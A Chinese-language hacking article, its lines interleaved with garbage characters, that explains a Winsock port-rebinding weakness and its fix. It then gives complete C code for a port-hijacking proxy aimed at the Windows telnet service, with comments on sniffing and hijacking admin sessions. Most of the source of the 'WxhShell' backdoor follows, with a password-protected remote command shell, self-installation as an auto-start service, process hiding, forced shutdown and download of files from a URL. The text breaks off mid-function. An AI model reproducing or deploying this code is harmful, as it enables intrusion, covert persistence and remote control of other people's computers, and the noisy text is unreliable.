在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
c{mKra s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
7`blGzP_ S9HBr saddr.sin_family = AF_INET;
-}Cc"qm Mhe|eD#) saddr.sin_addr.s_addr = htonl(INADDR_ANY);
(!ZQ Ig1lol:; bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
<H5n>3#pH
aFRTNu/r 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
9Qzjqq:"Li y Y>-MoF/t 这意味着什么?意味着可以进行如下的攻击:
1
[Sv YVB%
kKv{ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
(px*R~} Sc&)~h}YF 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
1z~k1usRK /7k.r}6\R 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
zBk_-'z Kajkw>z 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
FOCoiocPi 4? m/*VV 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
"_K}rI6(t ^oQekga\l 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Dq/3E-y5 8W~lU~- 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
O9t=lrYV! N@Xg5huO #include
7fTxGm #include
1@A7h$1P #include
-|m$YrzG #include
#_.g2 Y DWORD WINAPI ClientThread(LPVOID lpParam);
koOy Z> int main()
(jM<T;4 {
2c}B WORD wVersionRequested;
V~OUE]]Q DWORD ret;
O.*jR`l WSADATA wsaData;
{
EA2 BOOL val;
O6y @G
.+ SOCKADDR_IN saddr;
~TYbP SOCKADDR_IN scaddr;
C
_8j:Z& int err;
i{gDW+N SOCKET s;
7w "sJ SOCKET sc;
f5@.^hi[ int caddsize;
p QluGIX0V HANDLE mt;
[J~aAB DWORD tid;
QF\kPk(CtD wVersionRequested = MAKEWORD( 2, 2 );
KHvIN}V5?3 err = WSAStartup( wVersionRequested, &wsaData );
"@.Z#d|Y if ( err != 0 ) {
QTVa printf("error!WSAStartup failed!\n");
3PsxOb+ return -1;
6 -]>]Hr- }
QT#b>xV)1 saddr.sin_family = AF_INET;
y0,Ft/D x.I][(} //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
kr^0% A G9\EZ\x! saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
cX2$kIs; saddr.sin_port = htons(23);
__8&Jv\ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
KzV.+f {
FyCBNtCv printf("error!socket failed!\n");
e\`wlaP, return -1;
z~F37]W3[ }
{3_Gjb5\\4 val = TRUE;
}A-{ 6Qe //SO_REUSEADDR选项就是可以实现端口重绑定的
mv{<' if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
V
{p*z {
$( S*GF$S printf("error!setsockopt failed!\n");
.+OB!'dDK^ return -1;
eaEbH2J }
W+KF2(lB //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
+|6`E3j% //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
O{~KR/ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Fav?,Q,n {Jrf/p9w if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
d$}&nV/A) {
\H^;'agA ret=GetLastError();
veV_be{i printf("error!bind failed!\n");
oWI!u 5 return -1;
}@wVW))6$ }
#+$ zE#je listen(s,2);
?fV?|ZGZI while(1)
{o( *
f {
G(3;;F7" caddsize = sizeof(scaddr);
)`^ /(YG //接受连接请求
GjEqU;XBi sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
G%;kGi`m if(sc!=INVALID_SOCKET)
IAYACmlN& {
]a M-p@ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
sa G8g if(mt==NULL)
}"hW b( {
]
@ufV printf("Thread Creat Failed!\n");
>
V8sm/M break;
M;qBDT~) }
I`NUurQTX }
?z3] CloseHandle(mt);
)T9~8p. }
P/G>/MD/l closesocket(s);
GLCAiSMz[ WSACleanup();
rkq#7 return 0;
Y~}5axSPH }
"mR*7o$| DWORD WINAPI ClientThread(LPVOID lpParam)
+>!V]S {
SnW7 x SOCKET ss = (SOCKET)lpParam;
:<H8'4> SOCKET sc;
Hte[TRbM unsigned char buf[4096];
z?4=h Sy SOCKADDR_IN saddr;
Ls1B\Aw _ long num;
_B3zRO DWORD val;
TKo<~? DWORD ret;
#ra*f~G //如果是隐藏端口应用的话,可以在此处加一些判断
+Juh:1H //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
6|5H=*)DH saddr.sin_family = AF_INET;
`^x9(i/NE saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
H'Nq#K saddr.sin_port = htons(23);
-G-3q6A if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
tF^g<)S;t {
eQ;Q4 printf("error!socket failed!\n");
gX^ PSsp return -1;
\^0 !|
}
W&YU^&`Yr val = 100;
_lX8K:C( if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ALXTR%f {
TdFT];: ret = GetLastError();
wG8
nw; return -1;
f0DK>L }
}RIU8=P if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
<UT>PCNG {
N'QqJe7Z ret = GetLastError();
9,scH65x return -1;
aBxiK[[` }
]ENK8bW if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
s7l23*Czl {
m'bi\1Q printf("error!socket connect failed!\n");
/OG zt closesocket(sc);
R&*@@F-dx closesocket(ss);
{n&Uf{ return -1;
k3>YBf`fC }
W:vr@e6 while(1)
FY4 T(4# {
<( EyXV //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
D:9
2\l //如果是嗅探内容的话,可以再此处进行内容分析和记录
m(_9<bc> //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
nxfoWy num = recv(ss,buf,4096,0);
~8{sA5y if(num>0)
KP{3iUqvO send(sc,buf,num,0);
y3JMbl[S0 else if(num==0)
Ac`;st%l. break;
{$33B'wk num = recv(sc,buf,4096,0);
KmmQ ,e% if(num>0)
2khh4?|\ send(ss,buf,num,0);
nQ-mmY># else if(num==0)
mUP. rb6 break;
/X*oS&-M }
^J/)6/TMXm closesocket(ss);
~)]} 91p closesocket(sc);
[\e@_vY@OH return 0 ;
K[?Xm"4 }
%D=]ZV]( U5r}6D!) ;;U:Jtn2 ==========================================================
3Ofc\ g P}+wbk 下边附上一个代码,,WXhSHELL
x3G :(YfO aUopNmN ==========================================================
[]pN$]+c DXR:1w[^ #include "stdafx.h"
dp5cDF}l t?eH'*> #include <stdio.h>
F5T3E?_ #include <string.h>
_e<o7Y@_ #include <windows.h>
K7)kS #include <winsock2.h>
lCT{v@pp #include <winsvc.h>
:#t*K6dz #include <urlmon.h>
^A_;#vK "&+3#D
> #pragma comment (lib, "Ws2_32.lib")
;{Ux_JEg #pragma comment (lib, "urlmon.lib")
o^p Xl-e ! #define MAX_USER 100 // 最大客户端连接数
3lxc4@Zmd #define BUF_SOCK 200 // sock buffer
\,G#<>S #define KEY_BUFF 255 // 输入 buffer
~mz%E ef"?|sn #define REBOOT 0 // 重启
OS-f(qXd+ #define SHUTDOWN 1 // 关机
2\<.0 b{7E;KyY, #define DEF_PORT 5000 // 监听端口
Wd,a?31| Tny>D0Z# #define REG_LEN 16 // 注册表键长度
oYM3Rgxf9Q #define SVC_LEN 80 // NT服务名长度
dFXc/VH') JCniN";r[ // 从dll定义API
afG{lWE) typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
qOhO qV typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
GIwh@4; typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
clO,}Ph> typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
!
NV#U |UnUG // wxhshell配置信息
\_6OC Vil struct WSCFG {
9"{W,'r&d int ws_port; // 监听端口
W&Y"K)` char ws_passstr[REG_LEN]; // 口令
u,.3 int ws_autoins; // 安装标记, 1=yes 0=no
/+K? char ws_regname[REG_LEN]; // 注册表键名
KFRw67^ char ws_svcname[REG_LEN]; // 服务名
7;:#;YSha char ws_svcdisp[SVC_LEN]; // 服务显示名
v6(E3)J7 char ws_svcdesc[SVC_LEN]; // 服务描述信息
CB\{! char ws_passmsg[SVC_LEN]; // 密码输入提示信息
k"UO c= int ws_downexe; // 下载执行标记, 1=yes 0=no
7L5P%zLtB char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
gxNL_(A char ws_filenam[SVC_LEN]; // 下载后保存的文件名
$^/0<i$ $rB3m~c| };
nSx8E7 |V >`RRP}u=u // default Wxhshell configuration
7j<e)" struct WSCFG wscfg={DEF_PORT,
X@N$Z{ "xuhuanlingzhe",
f>j wN@( 1,
ZfAzc6J?\ "Wxhshell",
)Q;978: "Wxhshell",
g\fhp{gWB "WxhShell Service",
n
1b(\PA "Wrsky Windows CmdShell Service",
w0m^ &,;# "Please Input Your Password: ",
NcS.49 1,
)KSoq/ "
http://www.wrsky.com/wxhshell.exe",
d[gl]tj9 "Wxhshell.exe"
gO?44^hMe };
/lhz],w &jA\hg#9 // 消息定义模块
M5L{*>4|6 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
<E|s\u char *msg_ws_prompt="\n\r? for help\n\r#>";
]:]H:U]p char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
RSfM]w}Hq# char *msg_ws_ext="\n\rExit.";
B0}~G(t( char *msg_ws_end="\n\rQuit.";
jjs&`Fy, char *msg_ws_boot="\n\rReboot...";
6SM:x]`##, char *msg_ws_poff="\n\rShutdown...";
I_)*)d44_ char *msg_ws_down="\n\rSave to ";
zR6siAV9 @ T;L$x char *msg_ws_err="\n\rErr!";
P@}P k char *msg_ws_ok="\n\rOK!";
@`"AHt w?vVVA char ExeFile[MAX_PATH];
ihe(F7\U int nUser = 0;
*O$CaAr\s HANDLE handles[MAX_USER];
is;XmF*5= int OsIsNt;
VL+C&k v] mdih-u(T| SERVICE_STATUS serviceStatus;
4R%*Z~ SERVICE_STATUS_HANDLE hServiceStatusHandle;
t@oK~ Nr 4'pS*v // 函数声明
5ABhj* 7 int Install(void);
'XOX@UH d int Uninstall(void);
-4#2/GXNO int DownloadFile(char *sURL, SOCKET wsh);
l]!9$ int Boot(int flag);
h[tix: void HideProc(void);
G* b2,9&F int GetOsVer(void);
:&XH?/Wi int Wxhshell(SOCKET wsl);
~ A Qp| void TalkWithClient(void *cs);
@ez Tbc3 int CmdShell(SOCKET sock);
NtGn88='{ int StartFromService(void);
9.O8/0w7LV int StartWxhshell(LPSTR lpCmdLine);
a l9.} q6P
wZ_ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
&O\(;mFc VOID WINAPI NTServiceHandler( DWORD fdwControl );
*!e(A ]& ?dZt[vAMn // 数据结构和表定义
&F$:Q:* * SERVICE_TABLE_ENTRY DispatchTable[] =
1t[j"CG(o {
~`#-d ^s: {wscfg.ws_svcname, NTServiceMain},
6&U+6gb {NULL, NULL}
.3 pbuU };
nQK|n^AU/ ^}yg%+ // 自我安装
8G%yB}pa int Install(void)
#!J(4tXny {
RuW!*LI char svExeFile[MAX_PATH];
u0`o A HKEY key;
@gGRm strcpy(svExeFile,ExeFile);
5x2Ay=s `Kl`VP=c // 如果是win9x系统,修改注册表设为自启动
<oMUQ*OtV if(!OsIsNt) {
cF T 9Lnz if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
@MR?6 n*k RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
vm23U^VJ RegCloseKey(key);
rd|uz4d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Y]aW)u RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
a)-FGP^ RegCloseKey(key);
eEc4bVQa return 0;
:B*}^g }
w*j$uW6{ }
CENVp"C/` }
iP~,n8W else {
pj|pcv^ ~rbIMF4T`] // 如果是NT以上系统,安装为系统服务
eKZ%2|+j!7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
5__+_hO
;3 if (schSCManager!=0)
}peBR80tQ {
U$&hZ_A SC_HANDLE schService = CreateService
DmqX"x%P (
Doze8pn schSCManager,
7J$b$P0} wscfg.ws_svcname,
*mG`_9 wscfg.ws_svcdisp,
BF|(!8S$U SERVICE_ALL_ACCESS,
V)o,1
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
z;u>
Yz+3 SERVICE_AUTO_START,
-PB[-CX SERVICE_ERROR_NORMAL,
WUdKLx%F svExeFile,
UnWW/]E NULL,
5R MS( NULL,
"T/>d%O1b NULL,
\~rlgxd NULL,
JEn3`B!* NULL
zQy"m-Q );
=x#FbvV if (schService!=0)
[ANuBNF {
vP!GJX&n5 CloseServiceHandle(schService);
7;`o(
[N CloseServiceHandle(schSCManager);
ytEC strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
W><Zn=G4)b strcat(svExeFile,wscfg.ws_svcname);
M
s9E@E if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
&Y P#M| RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
_hf4A8ak RegCloseKey(key);
s,VXc/ return 0;
z1OFcqm }
EfLO5$?rm }
}`VDD?M CloseServiceHandle(schSCManager);
<c[U#KrvJ }
E&$_`m; }
FwKj+f" vZ7gS return 1;
FaTa(3$% }
=%)+%[wv !{,F~i9 // 自我卸载
EC&@I+'8Q int Uninstall(void)
co 4h*?q {
n#Dv2 E=6 HKEY key;
gB,G.QM*6 S&nxok`e^ if(!OsIsNt) {
ewNz%_2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
:!&;p RegDeleteValue(key,wscfg.ws_regname);
T<yP* b2E RegCloseKey(key);
txql 2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
HY;o^drd RegDeleteValue(key,wscfg.ws_regname);
cNpe_LvW RegCloseKey(key);
4o:hyh return 0;
R$kpiqK }
=tTqN+4 }
2],_^XBvB }
@*N)i?> else {
]Hj<IvG 9ch#}/7B SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Z[!d*O%R_ if (schSCManager!=0)
Ey{%XR+*; {
1iT\df SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
k#TYKft if (schService!=0)
%WG9 dYdS {
31+;]W=
if(DeleteService(schService)!=0) {
}G46g#_6d> CloseServiceHandle(schService);
Q "r_!f CloseServiceHandle(schSCManager);
`?\tUO2_T return 0;
Wm'QP4` }
Dz=k7zRg" CloseServiceHandle(schService);
Rr(* aC2P }
+!-~yf#RE CloseServiceHandle(schSCManager);
h~U02"$ }
{MAQ/5 }
;32#t[ib Ax3W2s return 1;
)Ag/Qep }
!;@_VWR 38V3o`f // 从指定url下载文件
7DW]JK l int DownloadFile(char *sURL, SOCKET wsh)
lor8@Qz {
<<9Va. HRESULT hr;
d<w~jP\ char seps[]= "/";
( fD
;g9 char *token;
'J*<iA*W char *file;
BIaDY<j90 char myURL[MAX_PATH];
c9' ' char myFILE[MAX_PATH];
I0AJY
)R Uv_N x10 strcpy(myURL,sURL);
PMs z` token=strtok(myURL,seps);
XB hb`AG while(token!=NULL)
@Fv=u {
){s*n=KIO file=token;
vqslirC token=strtok(NULL,seps);
P=L$;xgp }
|6:=}dE#[ gMWBu~;! GetCurrentDirectory(MAX_PATH,myFILE);
AEmNHO@%q strcat(myFILE, "\\");
>M%\T}5 strcat(myFILE, file);
^da44Qqu send(wsh,myFILE,strlen(myFILE),0);
&Wp8u#4L send(wsh,"...",3,0);
S,fCV~Cio? hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
P27%xV-n> if(hr==S_OK)
T[k4lM return 0;
C;AA/4Ib else
_s,ao'/ return 1;
wo2@hav `i,_aFB| }
";[iZ 87!C@XlK_ // 系统电源模块
|as!Ui/J/ int Boot(int flag)
.Hhh i {
pN6%&@) = HANDLE hToken;
x"kjs.d7[< TOKEN_PRIVILEGES tkp;
J;t 7&Zpe }F6<w{| if(OsIsNt) {
{>3\N0e5 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
|s7`F% LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
)'4P.>!!aQ tkp.PrivilegeCount = 1;
rsn.4P= tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
(w( AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
RhI;;Y#@ if(flag==REBOOT) {
psh^MX)Q if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
yZ]:y-1 return 0;
I-D^>\k+ }
:6 J +%(f else {
!9*c8bL D if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
A*h{Lsx; return 0;
i
LBvGZ<9 }
+.B<Hd }
t9gfU5? else {
:pX`?Ew`g if(flag==REBOOT) {
_i_Q?w` if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
->z54 T
return 0;
# M, 7 }
)"(] Lf's else {
ql{(Lf$ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Zd^6ulx return 0;
\ b
V6@#, }
yfQ5:X }
z@|dzvjl
Q 'z@ 0 return 1;
Kr'f- { }
c'6g*%2k 'XQ`g CF= // win9x进程隐藏模块
mpC`Yk void HideProc(void)
"eWk#/ {
=.<@`1 WS-dS6Q} HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
0|xIBg) if ( hKernel != NULL )
',3HlOJ: {
gwrYLZNGI pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
p;)" ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
%)jxW{ FreeLibrary(hKernel);
rVvR!"//yH }
5hj
x_=n-lAF return;
k NqS8R| }
z't??6 gXT9 r' k // 获取操作系统版本
.xzEAu ; int GetOsVer(void)
{u{@jp {
DBLk!~IF OSVERSIONINFO winfo;
*,C(\!b
!? winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
7 J^rv9i4 GetVersionEx(&winfo);
mvW% if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
L$'[5"ma
; return 1;
Tm^89I]L else
y4Z&@,_{ return 0;
$CTSnlPq }
h2z_,`iS7 dG QG!l+> // 客户端句柄模块
8 a!Rb-Q: int Wxhshell(SOCKET wsl)
,jA)wJ {
R2etB*k6[ SOCKET wsh;
k 4/D8(OXw struct sockaddr_in client;
j.~!dh$mg DWORD myID;
(Q[fS:U 76tdJ!4Z while(nUser<MAX_USER)
\y6OUM2y {
/[:dp< int nSize=sizeof(client);
#Lsnr.80 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
O1%pxX'`S if(wsh==INVALID_SOCKET) return 1;
!Bz0^1,L U<"WK"SM handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
AL/?,%F if(handles[nUser]==0)
.iCDXc{# closesocket(wsh);
GWsE; else
rqv))Zo` nUser++;
{l_{T4xToB }
NW~z&8L WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
c,so`I3rI u$%t)2+$4 return 0;
5tJ,7Y' }
kP#e((f, A,su;Qh // 关闭 socket
i'd2[A.7I void CloseIt(SOCKET wsh)
KKA~#iCk {
Vc^HVyAx@n closesocket(wsh);
%6Q4yk nUser--;
,1'4o3 ExitThread(0);
fA'qd.{f^ }
VxP&j0M> [{4MR%-- // 客户端请求句柄
3mPjpm void TalkWithClient(void *cs)
Z,BC* {
nEzf.[+9/ [ dtbkQt,c SOCKET wsh=(SOCKET)cs;
Y_`- 9'& char pwd[SVC_LEN];
|6Gm:jV char cmd[KEY_BUFF];
+q6ydb, char chr[1];
imQURC int i,j;
yA{W Gm*X'[\DD while (nUser < MAX_USER) {
dEBcfya oJ#,XMKga if(wscfg.ws_passstr) {
Q{e\}wN if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
nRd)++ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
TW !&p"Us+ //ZeroMemory(pwd,KEY_BUFF);
No2b"G@ i=0;
t1E[uu ,V8 while(i<SVC_LEN) {
6c0>gUQx- /0\
mx4u // 设置超时
G0E121`h fd_set FdRead;
,C3,TkA] struct timeval TimeOut;
}kg ye2[ FD_ZERO(&FdRead);
"~TA SX_? FD_SET(wsh,&FdRead);
?` SUQm TimeOut.tv_sec=8;
XMG]Wf^%\< TimeOut.tv_usec=0;
\uss Uv int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
)M2F4[vcb if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
hsu{ey p fnx-s{c? if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
fdONP>K[E pwd
=chr[0]; ;#w3{
NB
if(chr[0]==0xd || chr[0]==0xa) { V I%
6.6D
pwd=0; U]a*uF~h
break; ){jla,[
} 8Lw B
B
i++; m N8pg4
} F R|&^j6
~
T>U
// 如果是非法用户,关闭 socket phO;c;y}
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E*i#?u
} \"hJCP?,
A!^q
J#
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &^4++
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z3?o|A }/W
@k&qb!Qah
while(1) { GfC5z n>
6'xsG?{JY
ZeroMemory(cmd,KEY_BUFF); N&@}/wzZ
gv5*!eI
// 自动支持客户端 telnet标准 Q_l'o3
j=0; $1ndKB8)`J
while(j<KEY_BUFF) { +SJd@y@fR
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h=-"SW
cmd[j]=chr[0]; q+,Q<2J
if(chr[0]==0xa || chr[0]==0xd) { Jmx Ko+-
cmd[j]=0; XrZ*1V
break; BT}&Y6
} W456!OHa
j++; |JCU<_<
} (XoH,K?{z
cu+FM
// 下载文件 [z7bixN
if(strstr(cmd,"http://")) { J4Dry<
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Mw9 \EhA
if(DownloadFile(cmd,wsh)) V')0 Mr
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $ImrOf^qt
else aMTu-hA
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qx%}knB
} Hc`A3SMR
else { Bj7gQ%>H4
irjP>3_e
switch(cmd[0]) { m# =z7.XrX
7g3>jh
// 帮助 /hO1QT}xd
case '?': { orb_"Qw
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +
nF'a(
break; y+7PwBo%e
} '(/7[tJ
// 安装 yr,=.?C-
case 'i': { {s;U~!3aY
if(Install()) ElUEteZ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |fo0
else 5eWwgA
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }l=xiAF
break; XC+A_"w)
} o=1X^,
// 卸载 /&4U6a
case 'r': { X]y)qV)a[c
if(Uninstall()) ={u0_j
W
send(wsh,msg_ws_err,strlen(msg_ws_err),0); u(G*\<z-
else V*~Zs'L'E
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 64
5z#_}C$
break; 8U_{|]M
} W6Y@U$P#G
// 显示 wxhshell 所在路径 D+>1]ij
case 'p': { 0iJue&
char svExeFile[MAX_PATH]; |ZQ@fmvL/p
strcpy(svExeFile,"\n\r"); c/uNM
strcat(svExeFile,ExeFile); x#:| }pR
send(wsh,svExeFile,strlen(svExeFile),0); "^Ybs'-
break; G+F:99A
} !^ _"~
// 重启 %.vVEy
case 'b': { b5^OQH{v
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )5
R=Z<
if(Boot(REBOOT)) k?7 X3/O
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )rixMl &[
else { P67o{EdK
closesocket(wsh); 5scEc,JCi
ExitThread(0); AoyX\iqQ
} *oybD=%4
break; Qa.uMq
} h;0S%ZC
// 关机 /soKucN"h
case 'd': { #BSTlz
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D|.ic!w'
if(Boot(SHUTDOWN)) twx[s$O'b
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &
GreN
else { @/1w4'M
closesocket(wsh); XO'l Nb.
ExitThread(0); .rf"
(lM
} y8DhOlewQ
break; ZIF49`Y4TF
} 12+>5BA
// 获取shell FKmFo^^0
case 's': { Sr?#S
CmdShell(wsh); LlSZr)X
closesocket(wsh); Hik3wPnp
ExitThread(0); *<!oHEwkN
break; !Xph_SQ!B=
} dc rSz4E|>
// 退出 )Qvk*9OS
case 'x': { x)_0OR2lkp
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n\Lb.}]1~
CloseIt(wsh); \!ej<T+JR>
break; ^53r/V }%
} nak Yn
// 离开 YtWJXkB
case 'q': { ~#/hzS
send(wsh,msg_ws_end,strlen(msg_ws_end),0); C7O6qpO
closesocket(wsh); 1w&!H]%{
WSACleanup(); &:7ZQ1
exit(1); k%G1i-]4
break; o-Ga3i 8
} ZR'H\Z
} i _%Q`i
} s@7H1)U
)sT> i
// 提示信息 J.|+ID+
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @|tL8?
} jt.3P
} >orK';r<
]i)j3WDz]
return; ~appY Av
} /QJ?bD#a
~B(6+~%
// shell模块句柄 &kpwo )
int CmdShell(SOCKET sock) STaA]i}P
{ J:\|Nc?
STARTUPINFO si; [r[=W!
ZeroMemory(&si,sizeof(si)); 3F<VH
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $-*!pRaVU
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f-71~
PROCESS_INFORMATION ProcessInfo; $81*^
char cmdline[]="cmd"; bv*,#Qm
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *C:|X b<9
return 0; r#B+(X7LM
} aT$9;
w4d--[Q
// 自身启动模式 [2{1b`e
int StartFromService(void) ^R@j=_8}
{ Jtk|w[4L
typedef struct aX }P|l
{ GF^071]G
DWORD ExitStatus; UCClWr
DWORD PebBaseAddress; Z LD}a:s
DWORD AffinityMask; >:|q&|x-
DWORD BasePriority; <|Pun8j
ULONG UniqueProcessId; ez6EjUk
ULONG InheritedFromUniqueProcessId; r'*}TM'8
